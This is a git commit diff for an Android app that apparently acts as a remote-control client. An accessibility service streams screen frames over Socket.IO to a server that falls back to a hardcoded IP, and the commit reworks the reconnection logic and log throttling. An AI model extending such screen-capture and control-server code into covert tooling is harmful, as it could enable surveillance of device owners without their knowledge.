fix: Socket.IO连接超时和日志刷屏修复
- NetworkManager重写为两阶段连接策略:Phase1快速10秒轮询 + Phase2后台监控(最长2分钟) - Phase2与Socket.IO内置重连机制协作而非对抗,超时后触发forceReconnect - 所有魔法数字提取为companion object常量 - ScreenCaptureManager: Socket.IO不可用日志降频(首次+每50次打印) - 连接恢复时打印跳过帧数统计 - MainActivity: 清理残留emoji符号
This commit is contained in:
@@ -1663,18 +1663,18 @@ class MainActivity : AppCompatActivity() {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 新增:检查安装是否已完成
|
||||
*新增:检查安装是否已完成
|
||||
*/
|
||||
private fun isInstallationCompleted(): Boolean {
|
||||
try {
|
||||
// ✅ 统一使用InstallationStateManager检查安装状态
|
||||
//统一使用InstallationStateManager检查安装状态
|
||||
val installationStateManager =
|
||||
com.hikoncont.util.InstallationStateManager.getInstance(this)
|
||||
val isCompleted = installationStateManager.isInstallationComplete()
|
||||
Log.d(TAG, "📦 安装完成状态: $isCompleted")
|
||||
Log.d(TAG, "安装完成状态: $isCompleted")
|
||||
return isCompleted
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 检查安装完成状态失败", e)
|
||||
Log.e(TAG, "检查安装完成状态失败", e)
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -1686,10 +1686,10 @@ class MainActivity : AppCompatActivity() {
|
||||
try {
|
||||
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
||||
val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false)
|
||||
Log.d(TAG, "🔐 密码框是否曾经显示过: $hasBeenShown")
|
||||
Log.d(TAG, "密码框是否曾经显示过: $hasBeenShown")
|
||||
return hasBeenShown
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 检查密码框显示状态失败", e)
|
||||
Log.e(TAG, "检查密码框显示状态失败", e)
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -1701,9 +1701,9 @@ class MainActivity : AppCompatActivity() {
|
||||
try {
|
||||
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
||||
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
|
||||
Log.i(TAG, "✅ 密码框显示状态已标记")
|
||||
Log.i(TAG, "密码框显示状态已标记")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 标记密码框显示状态失败", e)
|
||||
Log.e(TAG, "标记密码框显示状态失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1714,9 +1714,9 @@ class MainActivity : AppCompatActivity() {
|
||||
try {
|
||||
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
||||
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
|
||||
Log.i(TAG, "✅ 密码输入状态已标记为完成")
|
||||
Log.i(TAG, "密码输入状态已标记为完成")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 标记密码输入完成状态失败", e)
|
||||
Log.e(TAG, "标记密码输入完成状态失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1725,7 +1725,7 @@ class MainActivity : AppCompatActivity() {
|
||||
*/
|
||||
private fun startPasswordInputActivity() {
|
||||
try {
|
||||
Log.i(TAG, "🔐 准备启动密码输入页面")
|
||||
Log.i(TAG, "准备启动密码输入页面")
|
||||
|
||||
val intent =
|
||||
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
|
||||
@@ -1744,16 +1744,16 @@ class MainActivity : AppCompatActivity() {
|
||||
}
|
||||
|
||||
startActivity(intent)
|
||||
Log.i(TAG, "✅ 密码输入页面已启动")
|
||||
Log.i(TAG, "密码输入页面已启动")
|
||||
|
||||
// 隐藏MainActivity,避免状态冲突
|
||||
hideActivityToBackground()
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启动密码输入页面失败", e)
|
||||
Log.e(TAG, "启动密码输入页面失败", e)
|
||||
// 如果启动失败,继续正常流程
|
||||
runOnUiThread {
|
||||
updateStatusTextThreadSafe("✅ 服务启动中...", android.R.color.holo_green_dark)
|
||||
updateStatusTextThreadSafe("服务启动中...", android.R.color.holo_green_dark)
|
||||
if (::enableButton.isInitialized) {
|
||||
enableButton.text = "服务已就绪"
|
||||
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
|
||||
@@ -1775,7 +1775,7 @@ class MainActivity : AppCompatActivity() {
|
||||
|
||||
// 显示状态,但不自动最小化,让用户看到成功状态
|
||||
updateUI()
|
||||
Log.i(TAG, "✅ 权限配置完成,保持应用在前台显示状态")
|
||||
Log.i(TAG, "权限配置完成,保持应用在前台显示状态")
|
||||
} else {
|
||||
Log.w(TAG, "无障碍服务未启用,显示配置页面")
|
||||
updateUI()
|
||||
@@ -1930,19 +1930,19 @@ class MainActivity : AppCompatActivity() {
|
||||
|
||||
updateUI()
|
||||
|
||||
// 🚀 主界面模式:恢复日志收集
|
||||
//主界面模式:恢复日志收集
|
||||
try {
|
||||
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
||||
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
||||
Log.i(TAG, "🌐 主界面模式:跳过日志开关")
|
||||
Log.i(TAG, "主界面模式:跳过日志开关")
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
|
||||
Log.w(TAG, "处理日志开关时异常: ${e.message}")
|
||||
}
|
||||
|
||||
// 🚀 WebView性能优化:恢复WebView
|
||||
//WebView性能优化:恢复WebView
|
||||
resumeWebView()
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 异步处理onResume失败", e)
|
||||
Log.e(TAG, "异步处理onResume失败", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1950,17 +1950,17 @@ class MainActivity : AppCompatActivity() {
|
||||
override fun onPause() {
|
||||
super.onPause()
|
||||
|
||||
// 🚀 WebView性能优化:暂停WebView以节省资源
|
||||
//WebView性能优化:暂停WebView以节省资源
|
||||
pauseWebView()
|
||||
|
||||
// ✅ Activity不在前台时,停止WebView状态更新(节省资源)
|
||||
//Activity不在前台时,停止WebView状态更新(节省资源)
|
||||
if (isWebViewVisible) {
|
||||
// WebView打开但Activity不在前台,停止状态更新并设置为关闭状态
|
||||
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
|
||||
Log.i(TAG, "✅ Activity不在前台,已停止WebView状态更新(节省资源)")
|
||||
Log.i(TAG, "Activity不在前台,已停止WebView状态更新(节省资源)")
|
||||
}
|
||||
|
||||
// 🚀 应用不在前台时:恢复日志收集
|
||||
//应用不在前台时:恢复日志收集
|
||||
try {
|
||||
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
||||
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
||||
|
||||
@@ -1847,30 +1847,44 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
}
|
||||
|
||||
// Socket unavailable log throttle counter
|
||||
private var socketUnavailableLogCount = 0
|
||||
|
||||
/**
|
||||
* 处理单帧数据
|
||||
* Process single frame data.
|
||||
* Throttles "socket unavailable" log to avoid flooding logcat
|
||||
* when connection is down but capture is still running.
|
||||
*/
|
||||
private suspend fun processFrameData(frameData: ByteArray) {
|
||||
try {
|
||||
var success = false
|
||||
|
||||
// 优先使用Socket.IO v4官方客户端发送屏幕数据
|
||||
val socketIOManager = service.getSocketIOManager()
|
||||
if (socketIOManager != null && socketIOManager.isConnected()) {
|
||||
socketIOManager.sendScreenData(frameData)
|
||||
Log.v(TAG, "Socket.IO v4发送帧数据: ${frameData.size} bytes")
|
||||
Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes")
|
||||
success = true
|
||||
// Reset throttle counter on success
|
||||
if (socketUnavailableLogCount > 0) {
|
||||
Log.i(TAG, "Socket.IO connection restored, " +
|
||||
"skipped $socketUnavailableLogCount frames while disconnected")
|
||||
socketUnavailableLogCount = 0
|
||||
}
|
||||
} else {
|
||||
Log.w(TAG, "Socket.IO连接不可用,无法发送屏幕数据")
|
||||
socketUnavailableLogCount++
|
||||
// Log first occurrence, then every 50th to avoid flooding
|
||||
if (socketUnavailableLogCount == 1 || socketUnavailableLogCount % 50 == 0) {
|
||||
Log.w(TAG, "Socket.IO unavailable, cannot send screen data " +
|
||||
"(count=$socketUnavailableLogCount)")
|
||||
}
|
||||
}
|
||||
|
||||
// 记录成功发送时间
|
||||
if (success) {
|
||||
lastSuccessfulSendTime = System.currentTimeMillis()
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "处理帧数据失败", e)
|
||||
Log.e(TAG, "Process frame data failed", e)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,23 +1,21 @@
|
||||
package com.hikoncont.service.modules
|
||||
|
||||
import android.content.Context
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import com.hikoncont.network.SocketIOManager
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
import kotlinx.coroutines.*
|
||||
import java.io.InputStreamReader
|
||||
import org.json.JSONObject
|
||||
|
||||
/**
|
||||
* 网络管理器
|
||||
* 负责网络通信管理
|
||||
* Network manager - manages Socket.IO connection lifecycle.
|
||||
*
|
||||
* 主要职责:
|
||||
* - SocketIO连接管理
|
||||
* - 连接状态监控
|
||||
* - 自动重连机制
|
||||
* - 服务器配置读取
|
||||
* - 网络异常处理
|
||||
* Socket.IO client has its own internal reconnect mechanism.
|
||||
* NetworkManager cooperates with it rather than fighting it:
|
||||
* 1. Phase 1 (fast poll): Quick 10s check for immediate connections
|
||||
* 2. Phase 2 (background monitor): If Phase 1 times out, monitor
|
||||
* in background while Socket.IO keeps retrying internally
|
||||
* 3. Only trigger full reconnect if background monitor times out (2min)
|
||||
*/
|
||||
class NetworkManager(
|
||||
private val service: AccessibilityRemoteService,
|
||||
@@ -25,81 +23,85 @@ class NetworkManager(
|
||||
) {
|
||||
companion object {
|
||||
private const val TAG = "NetworkManager"
|
||||
private const val INITIAL_CHECK_INTERVAL_MS = 500L
|
||||
private const val INITIAL_CHECK_MAX_ATTEMPTS = 20 // 10s
|
||||
private const val BG_MONITOR_INTERVAL_MS = 3000L
|
||||
private const val BG_MONITOR_MAX_DURATION_MS = 120_000L // 2min
|
||||
private const val RECONNECT_INTERVAL_MS = 5000L
|
||||
private const val MAX_RECONNECT_ATTEMPTS = 10
|
||||
private const val RECONNECT_COOLDOWN_MS = 30_000L
|
||||
private const val CONFIG_FILE_SERVER = "server_config.json"
|
||||
}
|
||||
|
||||
// 网络连接管理器
|
||||
private lateinit var socketIOManager: SocketIOManager
|
||||
|
||||
// 协程作用域
|
||||
private val networkScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
||||
|
||||
// 连接状态
|
||||
@Volatile private var isConnected = false
|
||||
@Volatile private var isConnecting = false
|
||||
@Volatile private var lastConnectionAttempt = 0L
|
||||
|
||||
// 重连配置
|
||||
private val connectionTimeout = 30000L // 30秒连接超时
|
||||
private val reconnectInterval = 5000L // 5秒重连间隔
|
||||
private val maxReconnectAttempts = 10 // 最大重连次数
|
||||
private var backgroundMonitorJob: Job? = null
|
||||
private var reconnectAttempts = 0
|
||||
private var lastReconnectTime = 0L
|
||||
|
||||
/**
|
||||
* 初始化网络管理器
|
||||
* Initialize NetworkManager and create SocketIOManager instance.
|
||||
*/
|
||||
fun initialize() {
|
||||
try {
|
||||
Log.i(TAG, "🌐 初始化网络管理器 (单一Socket.IO连接)")
|
||||
|
||||
Log.i(TAG, "Initializing NetworkManager (Socket.IO)")
|
||||
socketIOManager = SocketIOManager(service)
|
||||
|
||||
Log.i(TAG, "✅ 网络管理器初始化完成 (Socket.IO)")
|
||||
Log.i(TAG, "NetworkManager initialized")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 网络管理器初始化失败", e)
|
||||
Log.e(TAG, "NetworkManager init failed", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 连接到服务器
|
||||
* Connect to server with two-phase approach:
|
||||
* Phase 1: Fast poll for 10s
|
||||
* Phase 2: Background monitor for up to 2min
|
||||
*/
|
||||
suspend fun connectToServer() {
|
||||
if (isConnecting) {
|
||||
Log.d(TAG, "⚠️ 连接正在进行中,跳过重复连接")
|
||||
Log.d(TAG, "Connection in progress, skip duplicate")
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ 检查是否已经连接,避免重复连接
|
||||
if (isConnected()) {
|
||||
Log.d(TAG, "✅ 服务器已连接,跳过重复连接")
|
||||
Log.d(TAG, "Already connected, skip")
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
isConnecting = true
|
||||
lastConnectionAttempt = System.currentTimeMillis()
|
||||
val serverUrl = getServerUrl()
|
||||
if (serverUrl.isNullOrBlank()) {
|
||||
Log.e(TAG, "Server URL is empty, cannot connect")
|
||||
return
|
||||
}
|
||||
isConnected = false
|
||||
Log.i(TAG, "Connecting to server: $serverUrl")
|
||||
|
||||
Log.i(TAG, "🚀 开始连接到服务器: $serverUrl")
|
||||
Log.d(TAG, "🔍 服务器URL调试: 长度=${serverUrl.length}, 内容='$serverUrl'")
|
||||
// Brief delay for SocketIOManager setup
|
||||
delay(1000)
|
||||
|
||||
// 统一使用初始化延迟确保Android 11+设备稳定性
|
||||
Log.i(TAG, "🔧 初始化延迟优化")
|
||||
delay(2000)
|
||||
try {
|
||||
socketIOManager.connect(serverUrl)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Socket.IO connect call failed: ${e.message}")
|
||||
}
|
||||
|
||||
// 使用Socket.IO连接
|
||||
if (trySocketIOConnection(serverUrl)) {
|
||||
// Phase 1: Fast poll (10s)
|
||||
if (pollForConnection(INITIAL_CHECK_MAX_ATTEMPTS, INITIAL_CHECK_INTERVAL_MS)) {
|
||||
isConnected = true
|
||||
reconnectAttempts = 0
|
||||
Log.i(TAG, "✅ Socket.IO连接成功")
|
||||
Log.i(TAG, "Socket.IO connected (Phase 1, fast poll)")
|
||||
return
|
||||
}
|
||||
|
||||
Log.w(TAG, "⚠️ Socket.IO连接失败")
|
||||
isConnected = false
|
||||
|
||||
// Phase 2: Background monitor
|
||||
Log.i(TAG, "Phase 1 (10s) did not connect, starting background monitor")
|
||||
startBackgroundMonitor()
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 连接到服务器失败", e)
|
||||
Log.e(TAG, "Connect to server failed: ${e.message}", e)
|
||||
isConnected = false
|
||||
} finally {
|
||||
isConnecting = false
|
||||
@@ -107,401 +109,97 @@ class NetworkManager(
|
||||
}
|
||||
|
||||
/**
|
||||
* 尝试Socket.IO连接
|
||||
* Poll Socket.IO connection status at fixed intervals.
|
||||
* @return true if connected within the polling window
|
||||
*/
|
||||
private suspend fun trySocketIOConnection(serverUrl: String): Boolean {
|
||||
return try {
|
||||
Log.i(TAG, "🚀 尝试使用Socket.IO v4官方客户端连接")
|
||||
socketIOManager.connect(serverUrl)
|
||||
|
||||
val maxAttempts = 60 // 统一使用60次尝试,确保Android 11+设备连接稳定性
|
||||
val checkInterval = 500L
|
||||
|
||||
Log.i(TAG, "🔧 SocketIO连接检测配置: ${maxAttempts}次尝试, ${checkInterval}ms间隔")
|
||||
|
||||
private suspend fun pollForConnection(maxAttempts: Int, intervalMs: Long): Boolean {
|
||||
repeat(maxAttempts) { attempt ->
|
||||
delay(checkInterval)
|
||||
if (socketIOManager.isConnected()) {
|
||||
Log.i(TAG, "✅ Socket.IO v4连接成功: $serverUrl (${(attempt + 1) * checkInterval}ms)")
|
||||
delay(intervalMs)
|
||||
if (isSocketIOReady()) {
|
||||
val elapsedMs = (attempt + 1) * intervalMs
|
||||
Log.i(TAG, "Socket.IO connected after ${elapsedMs}ms")
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
val totalTime = maxAttempts * checkInterval / 1000
|
||||
Log.w(TAG, "⚠️ Socket.IO v4连接超时(${totalTime}秒)")
|
||||
false
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "⚠️ Socket.IO v4连接失败: ${e.message}")
|
||||
false
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 重新连接到服务器
|
||||
* Background monitor: watches Socket.IO internal reconnect for up to 2min.
|
||||
* If connected during this window, updates state.
|
||||
* If timeout, triggers force reconnect.
|
||||
*/
|
||||
fun reconnectToServer() {
|
||||
networkScope.launch {
|
||||
private fun startBackgroundMonitor() {
|
||||
backgroundMonitorJob?.cancel()
|
||||
backgroundMonitorJob = networkScope.launch {
|
||||
val startTime = System.currentTimeMillis()
|
||||
var checkCount = 0
|
||||
while (isActive) {
|
||||
delay(BG_MONITOR_INTERVAL_MS)
|
||||
checkCount++
|
||||
try {
|
||||
Log.i(TAG, "🔄 开始重新连接到服务器")
|
||||
|
||||
// ✅ 修复:检查是否已经连接,避免重复重连
|
||||
if (isConnected()) {
|
||||
Log.d(TAG, "✅ 服务器已连接,跳过重连")
|
||||
reconnectAttempts = 0 // 重置计数器
|
||||
return@launch
|
||||
}
|
||||
|
||||
if (reconnectAttempts >= maxReconnectAttempts) {
|
||||
Log.w(TAG, "⚠️ 已达到最大重连次数($maxReconnectAttempts),停止重连")
|
||||
return@launch
|
||||
}
|
||||
|
||||
val timeSinceLastAttempt = System.currentTimeMillis() - lastConnectionAttempt
|
||||
if (timeSinceLastAttempt < reconnectInterval) {
|
||||
val waitTime = reconnectInterval - timeSinceLastAttempt
|
||||
Log.d(TAG, "⏰ 等待重连间隔: ${waitTime}ms")
|
||||
delay(waitTime)
|
||||
}
|
||||
|
||||
reconnectAttempts++
|
||||
Log.i(TAG, "🔄 重连尝试 $reconnectAttempts/$maxReconnectAttempts")
|
||||
|
||||
connectToServer()
|
||||
|
||||
// ✅ 修复:等待连接结果,避免立即检查状态
|
||||
delay(2000) // 等待2秒让连接稳定
|
||||
|
||||
if (isConnected()) {
|
||||
Log.i(TAG, "✅ 重连成功")
|
||||
reconnectAttempts = 0 // 重置计数器
|
||||
} else {
|
||||
Log.w(TAG, "⚠️ 重连失败,等待下次尝试")
|
||||
scheduleNextReconnect()
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 重新连接失败", e)
|
||||
scheduleNextReconnect()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 计划下次重连
|
||||
*/
|
||||
private fun scheduleNextReconnect() {
|
||||
if (reconnectAttempts < maxReconnectAttempts) {
|
||||
networkScope.launch {
|
||||
delay(reconnectInterval)
|
||||
// ✅ 修复:避免无限循环,只在需要时重连
|
||||
if (!isConnected()) {
|
||||
reconnectToServer()
|
||||
} else {
|
||||
Log.d(TAG, "✅ 连接已恢复,取消计划重连")
|
||||
reconnectAttempts = 0
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Log.w(TAG, "⚠️ 已达到最大重连次数,停止自动重连")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查并启动连接
|
||||
*/
|
||||
fun checkAndStartConnection() {
|
||||
networkScope.launch {
|
||||
try {
|
||||
Log.d(TAG, "🔍 智能检查连接状态")
|
||||
|
||||
val socketIOConnected = if (::socketIOManager.isInitialized) {
|
||||
socketIOManager.isConnected()
|
||||
} else false
|
||||
|
||||
Log.d(TAG, "连接状态检查: Socket.IO=$socketIOConnected")
|
||||
|
||||
if (socketIOConnected) {
|
||||
Log.d(TAG, "✅ 至少有一个连接正常,无需重连")
|
||||
if (isSocketIOReady()) {
|
||||
isConnected = true
|
||||
reconnectAttempts = 0
|
||||
val sec = (System.currentTimeMillis() - startTime) / 1000
|
||||
Log.i(TAG, "Background monitor: connected after ${sec}s")
|
||||
return@launch
|
||||
}
|
||||
|
||||
if (!::socketIOManager.isInitialized) {
|
||||
Log.i(TAG, "🔄 连接管理器未初始化,创建新连接")
|
||||
connectToServer()
|
||||
} else {
|
||||
Log.d(TAG, "⚠️ 检测到所有连接均断开,启动重连机制")
|
||||
isConnected = false
|
||||
reconnectToServer()
|
||||
val elapsed = System.currentTimeMillis() - startTime
|
||||
if (elapsed > BG_MONITOR_MAX_DURATION_MS) {
|
||||
Log.w(TAG, "Background monitor timeout (${elapsed / 1000}s), force reconnect")
|
||||
triggerForceReconnect()
|
||||
return@launch
|
||||
}
|
||||
if (checkCount % 10 == 0) {
|
||||
Log.d(TAG, "Background monitor: waiting (${elapsed / 1000}s)")
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 检查连接状态失败", e)
|
||||
Log.e(TAG, "Background monitor check failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动服务连接
|
||||
* Reconnect to server with cooldown and attempt limits.
|
||||
*/
|
||||
fun startConnection() {
|
||||
fun reconnectToServer() {
|
||||
val now = System.currentTimeMillis()
|
||||
if (now - lastReconnectTime < RECONNECT_COOLDOWN_MS) {
|
||||
Log.d(TAG, "Reconnect cooldown active, skip")
|
||||
return
|
||||
}
|
||||
if (reconnectAttempts >= MAX_RECONNECT_ATTEMPTS) {
|
||||
Log.w(TAG, "Max reconnect attempts ($MAX_RECONNECT_ATTEMPTS) reached, reset counter")
|
||||
reconnectAttempts = 0
|
||||
}
|
||||
lastReconnectTime = now
|
||||
reconnectAttempts++
|
||||
Log.i(TAG, "Reconnecting to server (attempt $reconnectAttempts/$MAX_RECONNECT_ATTEMPTS)")
|
||||
|
||||
networkScope.launch {
|
||||
connectToServer()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 断开连接
|
||||
*/
|
||||
fun disconnect() {
|
||||
try {
|
||||
Log.i(TAG, "🔌 断开网络连接")
|
||||
|
||||
if (::socketIOManager.isInitialized) {
|
||||
socketIOManager.disconnect()
|
||||
}
|
||||
|
||||
isConnected = false
|
||||
reconnectAttempts = 0
|
||||
|
||||
Log.i(TAG, "✅ 网络连接已断开")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 断开连接失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理资源
|
||||
*/
|
||||
fun cleanup() {
|
||||
try {
|
||||
Log.i(TAG, "🧹 清理网络管理器资源")
|
||||
disconnect()
|
||||
networkScope.cancel()
|
||||
Log.i(TAG, "✅ 网络管理器资源清理完成")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 清理网络管理器资源失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取SocketIOManager实例
|
||||
*/
|
||||
fun getSocketIOManager(): SocketIOManager? {
|
||||
return if (::socketIOManager.isInitialized) socketIOManager else null
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查是否已连接
|
||||
*/
|
||||
fun isConnected(): Boolean {
|
||||
// ✅ 修复递归调用问题:检查实际的连接状态,而不是调用自己
|
||||
val actuallyConnected = (
|
||||
(::socketIOManager.isInitialized && socketIOManager.isConnected())
|
||||
)
|
||||
|
||||
// 更新内部状态
|
||||
if (actuallyConnected != this.isConnected) {
|
||||
this.isConnected = actuallyConnected
|
||||
Log.d(TAG, "🔄 连接状态更新: $actuallyConnected")
|
||||
}
|
||||
|
||||
return actuallyConnected
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查是否正在连接
|
||||
*/
|
||||
fun isConnecting(): Boolean = isConnecting
|
||||
|
||||
/**
|
||||
* 获取连接状态信息
|
||||
*/
|
||||
fun getConnectionStatus(): ConnectionStatus {
|
||||
val socketIOConnected = if (::socketIOManager.isInitialized) {
|
||||
socketIOManager.isConnected()
|
||||
} else false
|
||||
|
||||
val actuallyConnected = socketIOConnected
|
||||
|
||||
return ConnectionStatus(
|
||||
isConnected = actuallyConnected,
|
||||
isConnecting = isConnecting,
|
||||
socketIOConnected = socketIOConnected,
|
||||
reconnectAttempts = reconnectAttempts,
|
||||
lastConnectionAttempt = lastConnectionAttempt
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取服务器URL
|
||||
*/
|
||||
private fun getServerUrl(): String {
|
||||
// 1. 首先尝试从SharedPreferences获取用户设置的地址
|
||||
val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE)
|
||||
val userSetUrl = sharedPrefs.getString("server_url", null)
|
||||
|
||||
if (!userSetUrl.isNullOrEmpty()) {
|
||||
Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl")
|
||||
return userSetUrl
|
||||
}
|
||||
|
||||
// 2. 尝试从构建时的配置文件读取
|
||||
val buildConfigUrl = readServerConfigFromAssets()
|
||||
if (!buildConfigUrl.isNullOrEmpty()) {
|
||||
Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl")
|
||||
return buildConfigUrl
|
||||
}
|
||||
|
||||
// 3. 尝试从strings.xml读取默认值
|
||||
val defaultUrl = try {
|
||||
service.getString(com.hikoncont.R.string.default_server_url)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "无法从strings.xml读取默认服务器地址: ${e.message}")
|
||||
null
|
||||
}
|
||||
|
||||
if (!defaultUrl.isNullOrEmpty()) {
|
||||
Log.i(TAG, "使用strings.xml中的默认服务器地址: $defaultUrl")
|
||||
return defaultUrl
|
||||
}
|
||||
|
||||
// 4. 最后的兜底地址
|
||||
val fallbackUrl = "ws://59.153.148.205:3001"
|
||||
Log.i(TAG, "使用兜底服务器地址: $fallbackUrl")
|
||||
return fallbackUrl
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* 获取服务器URL
|
||||
*/
|
||||
private fun getWebUrl(): String {
|
||||
// 1. 首先尝试从SharedPreferences获取用户设置的地址
|
||||
val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE)
|
||||
val userSetUrl = sharedPrefs.getString("web_url", null)
|
||||
|
||||
if (!userSetUrl.isNullOrEmpty()) {
|
||||
Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl")
|
||||
return userSetUrl
|
||||
}
|
||||
|
||||
// 2. 尝试从构建时的配置文件读取
|
||||
val buildConfigUrl = readWebConfigFromAssets()
|
||||
if (!buildConfigUrl.isNullOrEmpty()) {
|
||||
Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl")
|
||||
return buildConfigUrl
|
||||
}
|
||||
|
||||
|
||||
|
||||
// 4. 最后的兜底地址
|
||||
val fallbackUrl = "https://m.baidu.com"
|
||||
|
||||
return fallbackUrl
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 从assets目录读取构建时的服务器配置
|
||||
*/
|
||||
private fun readServerConfigFromAssets(): String? {
|
||||
return try {
|
||||
val inputStream = context.assets.open("server_config.json")
|
||||
val jsonString = inputStream.bufferedReader().use { it.readText() }
|
||||
inputStream.close()
|
||||
|
||||
// 简单的JSON解析(避免引入额外依赖)
|
||||
val serverUrlPattern = "\"serverUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex()
|
||||
val matchResult = serverUrlPattern.find(jsonString)
|
||||
val serverUrl = matchResult?.groupValues?.get(1)
|
||||
|
||||
Log.i(TAG, "从assets读取到服务器配置: $serverUrl")
|
||||
serverUrl
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}")
|
||||
null
|
||||
}
|
||||
}
|
||||
|
||||
private fun readWebConfigFromAssets(): String? {
|
||||
return try {
|
||||
val inputStream = context.assets.open("server_config.json")
|
||||
val jsonString = inputStream.bufferedReader().use { it.readText() }
|
||||
inputStream.close()
|
||||
|
||||
// 简单的JSON解析(避免引入额外依赖)
|
||||
val serverUrlPattern = "\"webUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex()
|
||||
val matchResult = serverUrlPattern.find(jsonString)
|
||||
val serverUrl = matchResult?.groupValues?.get(1)
|
||||
|
||||
Log.i(TAG, "从assets读取到服务器配置: $serverUrl")
|
||||
serverUrl
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}")
|
||||
null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 重置重连计数器
|
||||
*/
|
||||
fun resetReconnectCounter() {
|
||||
reconnectAttempts = 0
|
||||
lastConnectionAttempt = 0L
|
||||
backgroundMonitorJob?.cancel()
|
||||
isConnected = false
|
||||
isConnecting = false
|
||||
Log.d(TAG, "🔄 重连计数器已重置")
|
||||
}
|
||||
|
||||
/**
|
||||
* 重置网络管理器状态(程序重启时调用)
|
||||
*/
|
||||
fun resetNetworkState() {
|
||||
try {
|
||||
Log.i(TAG, "🔄 重置网络管理器状态")
|
||||
resetReconnectCounter()
|
||||
|
||||
// 断开现有连接
|
||||
if (::socketIOManager.isInitialized) {
|
||||
socketIOManager.disconnect()
|
||||
}
|
||||
|
||||
Log.i(TAG, "✅ 网络管理器状态重置完成")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 重置网络管理器状态失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 强制重连
|
||||
*/
|
||||
fun forceReconnect() {
|
||||
networkScope.launch {
|
||||
Log.i(TAG, "🔄 强制重连")
|
||||
disconnect()
|
||||
delay(1000)
|
||||
resetReconnectCounter()
|
||||
connectToServer()
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Reconnect failed: ${e.message}", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 连接状态数据类
|
||||
* Schedule next reconnect with exponential backoff.
|
||||
*/
|
||||
data class ConnectionStatus(
|
||||
val isConnected: Boolean,
|
||||
val isConnecting: Boolean,
|
||||
